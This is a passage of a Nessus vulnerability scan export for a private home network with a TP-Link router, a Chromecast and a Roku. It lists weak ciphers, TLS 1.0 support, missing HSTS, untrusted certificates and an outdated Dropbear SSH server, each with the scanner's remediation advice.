service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.1.0/apps/ciphers.html
http://www.nessus.org/u?3a040ada		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv1
  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								6/5/06		7/9/20

		22964						None		192.168.0.28		tcp		22		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				An SSH server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.28		tcp		80		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.28		tcp		443		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A TLSv1 server answered on this port.
										None								8/19/07		8/18/20

		22964						None		192.168.0.28		tcp		443		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port through TLSv1.										None								8/19/07		8/18/20

		24260						None		192.168.0.28		tcp		80		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

  Connection: Keep-Alive
  Keep-Alive: timeout=20
  ETag: "736-110-5ed60b90"
  Last-Modified: Tue, 02 Jun 2020 08:19:28 GMT
  Date: Thu, 05 Nov 2020 18:11:59 GMT
  Content-Type: text/html
  Content-Length: 272
  
Response Body :

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="refresh" content="0; URL=/webpages/index.html" />
</head>
</html>
										None								1/30/07		11/22/19

		24260						None		192.168.0.28		tcp		443		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : yes
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

  Connection: Keep-Alive
  Keep-Alive: timeout=20
  ETag: "736-110-5ed60b90"
  Last-Modified: Tue, 02 Jun 2020 08:19:28 GMT
  Date: Thu, 05 Nov 2020 18:12:00 GMT
  Content-Type: text/html
  Content-Length: 272
  
Response Body :

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="refresh" content="0; URL=/webpages/index.html" />
</head>
</html>
										None								1/30/07		11/22/19

		25220						None		192.168.0.28		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		84502				5.8		Medium		192.168.0.20		tcp		443		HSTS Missing From HTTPS Server		The remote web server is not enforcing HSTS.		The remote HTTPS server is not enforcing HTTP Strict Transport Security (HSTS). 
HSTS is an optional response header that can be configured on the server to instruct 
the browser to only communicate via HTTPS. The lack of HSTS allows downgrade attacks,
SSL-stripping man-in-the-middle attacks, and weakens cookie-hijacking protections.		Configure the remote web server to use HSTS.		https://tools.ietf.org/html/rfc6797		
  The remote HTTPS server does not send the HTTP
  "Strict-Transport-Security" header.
				6.5						Medium								7/2/15		11/2/20

		35716						None		192.168.0.28		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

D8:47:32:3B:A0:90 : TP-LINK TECHNOLOGIES CO.,LTD.
										None								2/19/09		5/13/20

		104743				6.1		Medium		192.168.0.20		tcp		443		TLS Version 1.0 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a
number of cryptographic design flaws. Modern implementations of TLS 1.0
mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are
designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that arenâ€™t enabled for TLS 1.2
and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30,
2018, except for POS POI terminals (and the SSL/TLS termination
points to which they connect) that can be verified as not being
susceptible to any known exploits.		Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00		TLSv1 is enabled and the server supports at least one cipher.				6.5						Medium								11/22/17		3/31/20

		45410						None		192.168.0.28		tcp		443		SSL Certificate 'commonName' Mismatch		The 'commonName' (CN) attribute in the SSL certificate does not match
the hostname.		The service running on the remote host presents an SSL certificate for
which the 'commonName' (CN) attribute does not match the hostname on
which the service listens.		If the machine has several names, make sure that users connect to the
service through the DNS hostname that matches the common name in the
certificate.				
The host name known by Nessus is :

  deco-e4r

The Common Name in the certificate is :

  tp-link
										None								4/3/10		6/25/19

		45590						None		192.168.0.28		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE's : 

  cpe:/o:linux:linux_kernel:3.1
  cpe:/o:linux:linux_kernel:3.3
										None								4/21/10		9/30/20

		46215						None		192.168.0.28		tcp		0		Inconsistent Hostname and IP Address		The remote host's hostname is not consistent with DNS information.		The name of this machine either does not resolve or resolves to a
different IP address. 

This may come from a badly configured reverse DNS or from a host file
in use on the Nessus scanning host. 

As a result, URLs in plugin output may not be directly usable in a web
browser and some web tests may be incomplete.		Fix the reverse DNS or host file.				The host name 'deco-E4R' resolves to 192.168.0.26, not to 192.168.0.28										None								5/3/10		8/5/16

		50845						None		192.168.0.28		tcp		443		OpenSSL Detection		The remote service appears to use OpenSSL to encrypt traffic.		Based on its response to a TLS request with a specially crafted
server name extension, it seems that the remote service is using the
OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that
have enabled support for TLS extensions (RFC 4366).		n/a		https://www.openssl.org/												None								11/30/10		6/12/20

		51192				6.4		Medium		192.168.0.25		tcp		8009		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : CN=02396355-86f2-724c-b621-a89625b919e3
|-Issuer  : CN=02396355-86f2-724c-b621-a89625b919e3
				6.5						Medium								12/15/10		4/27/20

		54615						None		192.168.0.28		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 59
										None								5/23/11		5/23/11

		56984						None		192.168.0.28		tcp		443		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.0.
										None								12/1/11		7/9/20

		51192				6.4		Medium		192.168.0.25		tcp		8443		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=US/ST=California/L=Mountain View/O=Google Inc/OU=Cast/CN=Chromecast ICA 12
|-Issuer  : C=US/ST=California/L=Mountain View/O=Google Inc/OU=Cast/CN=Cast Root CA
				6.5						Medium								12/15/10		4/27/20

		62563						None		192.168.0.28		tcp		443		SSL Compression Methods Supported		The remote service supports one or more compression methods for SSL
connections.		This script detects which compression methods are supported by the
remote service for SSL connections.		n/a		http://www.iana.org/assignments/comp-meth-ids/comp-meth-ids.xml
https://tools.ietf.org/html/rfc3749
https://tools.ietf.org/html/rfc3943
https://tools.ietf.org/html/rfc5246		
Nessus was able to confirm that the following compression method is 
supported by the target :

  DEFLATE (0x01)
										None								10/16/12		6/12/20

		62565		CVE-2012-4929		2.6		Low		192.168.0.28		tcp		443		Transport Layer Security (TLS) Protocol CRIME Vulnerability		The remote service has a configuration that may make it vulnerable to
the CRIME attack.		The remote service has one of two configurations that are known to be
required for the CRIME attack :

  - SSL / TLS compression is enabled.

  - TLS advertises the SPDY protocol earlier than version 4.

Note that Nessus did not attempt to launch the CRIME attack against the
remote service.		Disable compression and / or the SPDY service.		https://www.iacr.org/cryptodb/data/paper.php?pubkey=3091
https://discussions.nessus.org/thread/5546
http://www.nessus.org/u?c44d5826
https://bz.apache.org/bugzilla/show_bug.cgi?id=53219		
The following configuration indicates that the remote service
may be vulnerable to the CRIME attack :

  - SSL / TLS compression is enabled.
						1.9				Low		55704;55707						10/16/12		12/4/19

		62565		CVE-2012-4930		2.6		Low		192.168.0.28		tcp		443		Transport Layer Security (TLS) Protocol CRIME Vulnerability		The remote service has a configuration that may make it vulnerable to
the CRIME attack.		The remote service has one of two configurations that are known to be
required for the CRIME attack :

  - SSL / TLS compression is enabled.

  - TLS advertises the SPDY protocol earlier than version 4.

Note that Nessus did not attempt to launch the CRIME attack against the
remote service.		Disable compression and / or the SPDY service.		https://www.iacr.org/cryptodb/data/paper.php?pubkey=3091
https://discussions.nessus.org/thread/5546
http://www.nessus.org/u?c44d5826
https://bz.apache.org/bugzilla/show_bug.cgi?id=53219		
The following configuration indicates that the remote service
may be vulnerable to the CRIME attack :

  - SSL / TLS compression is enabled.
						1.9				Low		55704;55707						10/16/12		12/4/19

		104743				6.1		Medium		192.168.0.25		tcp		8009		TLS Version 1.0 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a
number of cryptographic design flaws. Modern implementations of TLS 1.0
mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are
designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that arenâ€™t enabled for TLS 1.2
and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30,
2018, except for POS POI terminals (and the SSL/TLS termination
points to which they connect) that can be verified as not being
susceptible to any known exploits.		Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00		TLSv1 is enabled and the server supports at least one cipher.				6.5						Medium								11/22/17		3/31/20

		104743				6.1		Medium		192.168.0.25		tcp		8443		TLS Version 1.0 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a
number of cryptographic design flaws. Modern implementations of TLS 1.0
mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are
designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that arenâ€™t enabled for TLS 1.2
and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30,
2018, except for POS POI terminals (and the SSL/TLS termination
points to which they connect) that can be verified as not being
susceptible to any known exploits.		Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00		TLSv1 is enabled and the server supports at least one cipher.				6.5						Medium								11/22/17		3/31/20

		66334						None		192.168.0.28		tcp		0		Patch Report		The remote host is missing several patches.		The remote host is missing one or more security patches. This plugin
lists the newest version of each patch to install to make sure the
remote host is up-to-date.		Install the patches listed below.				

. You need to take the following action :

[ Dropbear SSH Server < 2016.72 Multiple Vulnerabilities (93650) ]

+ Action to take : Upgrade to Dropbear SSH version 2016.74 or later.


										None								7/8/13		10/16/20

		69551						Low		192.168.0.28		tcp		443		SSL Certificate Chain Contains RSA Keys Less Than 2048 bits		The X.509 certificate chain used by this service contains certificates
with RSA keys shorter than 2048 bits.		At least one of the X.509 certificates sent by the remote host has a
key that is shorter than 2048 bits. According to industry standards
set by the Certification Authority/Browser (CA/B) Forum, certificates
issued after January 1, 2014 must be at least 2048 bits.

Some browser SSL implementations may reject keys less than 2048 bits
after January 1, 2014. Additionally, some SSL certificate vendors may
revoke certificates less than 2048 bits before January 1, 2014.

Note that Nessus will not flag root certificates with RSA keys less
than 2048 bits if they were issued prior to December 31, 2010, as the
standard considers them exempt.		Replace the certificate in the chain with the RSA key less than 2048
bits in length with a longer key, and reissue any certificates signed
by the old certificate.		https://www.cabforum.org/wp-content/uploads/Baseline_Requirements_V1.pdf		
The following certificates were part of the certificate chain
sent by the remote host, but contain RSA keys that are considered
to be weak :

|-Subject        : C=CN/CN=TP-Link
|-RSA Key Length : 1024 bits
										Low								9/3/13		11/15/18

		70544						None		192.168.0.28		tcp		443		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								10/22/13		11/15/18

		70657						None		192.168.0.28		tcp		22		SSH Algorithms and Languages Supported		An SSH server is listening on this port.		This script detects which algorithms and languages are supported by
the remote service for encrypting communications.		n/a				
Nessus negotiated the following encryption algorithm with the server : 

The server supports the following options for kex_algorithms : 

  diffie-hellman-group1-sha1
  diffie-hellman-group14-sha1
  kexguess2@matt.ucc.asn.au

The server supports the following options for server_host_key_algorithms : 

  ssh-rsa

The server supports the following options for encryption_algorithms_client_to_server : 

  3des-cbc
  3des-ctr
  aes128-cbc
  aes128-ctr
  aes256-cbc
  aes256-ctr

The server supports the following options for encryption_algorithms_server_to_client : 

  3des-cbc
  3des-ctr
  aes128-cbc
  aes128-ctr
  aes256-cbc
  aes256-ctr

The server supports the following options for mac_algorithms_client_to_server : 

  hmac-md5
  hmac-sha1

The server supports the following options for mac_algorithms_server_to_client : 

  hmac-md5
  hmac-sha1

The server supports the following options for compression_algorithms_client_to_server : 

  none

The server supports the following options for compression_algorithms_server_to_client : 

  none
										None								10/28/13		8/28/17

		70658		CVE-2008-5161		2.6		Low		192.168.0.28		tcp		22		SSH Server CBC Mode Ciphers Enabled		The SSH server is configured to use Cipher Block Chaining.		The SSH server is configured to support Cipher Block Chaining (CBC)
encryption.  This may allow an attacker to recover the plaintext message
from the ciphertext. 

Note that this plugin only checks for the options of the SSH server and
does not check for vulnerable software versions.		Contact the vendor or consult product documentation to disable CBC mode
cipher encryption, and enable CTR or GCM cipher mode encryption.				
The following client-to-server Cipher Block Chaining (CBC) algorithms
are supported : 

  3des-cbc
  aes128-cbc
  aes256-cbc

The following server-to-client Cipher Block Chaining (CBC) algorithms
are supported : 

  3des-cbc
  aes128-cbc
  aes256-cbc
						1.9				Low		32319		CERT:958563;CWE:200				10/28/13		7/30/18

		71049				2.6		Low		192.168.0.28		tcp		22		SSH Weak MAC Algorithms Enabled		The remote SSH server is configured to allow MD5 and 96-bit MAC
algorithms.		The remote SSH server is configured to allow either MD5 or 96-bit MAC
algorithms, both of which are considered weak.

Note that this plugin only checks for the options of the SSH server,
and it does not check for vulnerable software versions.		Contact the vendor or consult product documentation to disable MD5 and
96-bit MAC algorithms.				
The following client-to-server Message Authentication Code (MAC) algorithms
are supported : 

  hmac-md5

The following server-to-client Message Authentication Code (MAC) algorithms
are supported : 

  hmac-md5
										Low								11/22/13		12/14/16

		51192				6.4		Medium		192.168.0.26		tcp		443		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=CN/CN=TP-Link
|-Issuer  : C=CN/CN=TP-Link
				6.5						Medium								12/15/10		4/27/20

		86420						None		192.168.0.28		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - D8:47:32:3B:A0:90
										None								10/16/15		5/13/20

		84502				5.8		Medium		192.168.0.26		tcp		443		HSTS Missing From HTTPS Server		The remote web server is not enforcing HSTS.		The remote HTTPS server is not enforcing HTTP Strict Transport Security (HSTS). 
HSTS is an optional response header that can be configured on the server to instruct 
the browser to only communicate via HTTPS. The lack of HSTS allows downgrade attacks,
SSL-stripping man-in-the-middle attacks, and weakens cookie-hijacking protections.		Configure the remote web server to use HSTS.		https://tools.ietf.org/html/rfc6797		
  The remote HTTPS server does not send the HTTP
  "Strict-Transport-Security" header.
				6.5						Medium								7/2/15		11/2/20

		104743				6.1		Medium		192.168.0.26		tcp		443		TLS Version 1.0 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a
number of cryptographic design flaws. Modern implementations of TLS 1.0
mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are
designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that arenâ€™t enabled for TLS 1.2
and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30,
2018, except for POS POI terminals (and the SSL/TLS termination
points to which they connect) that can be verified as not being
susceptible to any known exploits.		Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00		TLSv1 is enabled and the server supports at least one cipher.				6.5						Medium								11/22/17		3/31/20

		51192				6.4		Medium		192.168.0.28		tcp		443		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=CN/CN=TP-Link
|-Issuer  : C=CN/CN=TP-Link
				6.5						Medium								12/15/10		4/27/20

		84502				5.8		Medium		192.168.0.28		tcp		443		HSTS Missing From HTTPS Server		The remote web server is not enforcing HSTS.		The remote HTTPS server is not enforcing HTTP Strict Transport Security (HSTS). 
HSTS is an optional response header that can be configured on the server to instruct 
the browser to only communicate via HTTPS. The lack of HSTS allows downgrade attacks,
SSL-stripping man-in-the-middle attacks, and weakens cookie-hijacking protections.		Configure the remote web server to use HSTS.		https://tools.ietf.org/html/rfc6797		
  The remote HTTPS server does not send the HTTP
  "Strict-Transport-Security" header.
				6.5						Medium								7/2/15		11/2/20

		104743				6.1		Medium		192.168.0.28		tcp		443		TLS Version 1.0 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a
number of cryptographic design flaws. Modern implementations of TLS 1.0
mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are
designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that arenâ€™t enabled for TLS 1.2
and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30,
2018, except for POS POI terminals (and the SSL/TLS termination
points to which they connect) that can be verified as not being
susceptible to any known exploits.		Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00		TLSv1 is enabled and the server supports at least one cipher.				6.5						Medium								11/22/17		3/31/20

		110723						None		192.168.0.28		tcp		0		Target Credential Status by Authentication Protocol - No Credentials Provided		Nessus was able to find common ports used for local checks,
however, no credentials were provided in the scan policy.		Nessus was not able to successfully authenticate directly to the
remote target on an available authentication protocol. Nessus was
able to connect to the remote port and identify that the service
running on the port supports an authentication protocol, but Nessus
failed to authenticate to the remote service using the provided
credentials. There may have been a protocol failure that prevented
authentication from being attempted or all of the provided credentials
for the authentication protocol may be invalid. See plugin output for
error details.

Please note the following :

- This plugin reports per protocol, so it is possible for
  valid credentials to be provided for one protocol and not
  another. For example, authentication may succeed via SSH
  but fail via SMB, while no credentials were provided for
  an available SNMP service.

- Providing valid credentials for all available
  authentication protocols may improve scan coverage, but
  the value of successful authentication for a given
  protocol may vary from target to target depending upon
  what data (if any) is gathered from the target via that
  protocol. For example, successful authentication via SSH
  is more valuable for Linux targets than for Windows
  targets, and likewise successful authentication via SMB
  is more valuable for Windows targets than for Linux
  targets.		n/a				SSH was detected on port 22 but no credentials were provided.
SSH local checks were not enabled.

										None				IAVB:0001-B-0504				6/27/18		10/15/20

		117886						None		192.168.0.28		tcp		0		Local Checks Not Enabled (info)		Local checks were not enabled.		Nessus did not enable local checks on the remote host. This does not
necessarily indicate a problem with the scan. Credentials may not have
been provided, local checks may not be available for the target, the
target may not have been identified, or another issue may have
occurred that prevented local checks from being enabled. See plugin
output for details.

This plugin reports informational findings related to local checks not
being enabled. For failure information, see plugin 21745 :
'Authentication Failure - Local Checks Not Run'.		n/a				
The following issues were reported :

  - Plugin      : no_local_checks_credentials.nasl
    Plugin ID   : 110723
    Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided
    Message     : 
Credentials were not provided for detected SSH service.
										None				IAVB:0001-B-0515				10/2/18		9/22/20

		10107						None		192.168.0.29		tcp		8060		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

Roku UPnP/1.0 MiniUPnPd/1.4										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10114		CVE-1999-0524		0		None		192.168.0.29		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -4 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10287						None		192.168.0.29		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.29 : 
192.168.0.35
192.168.0.29

Hop Count: 1
										None								11/27/99		8/20/20

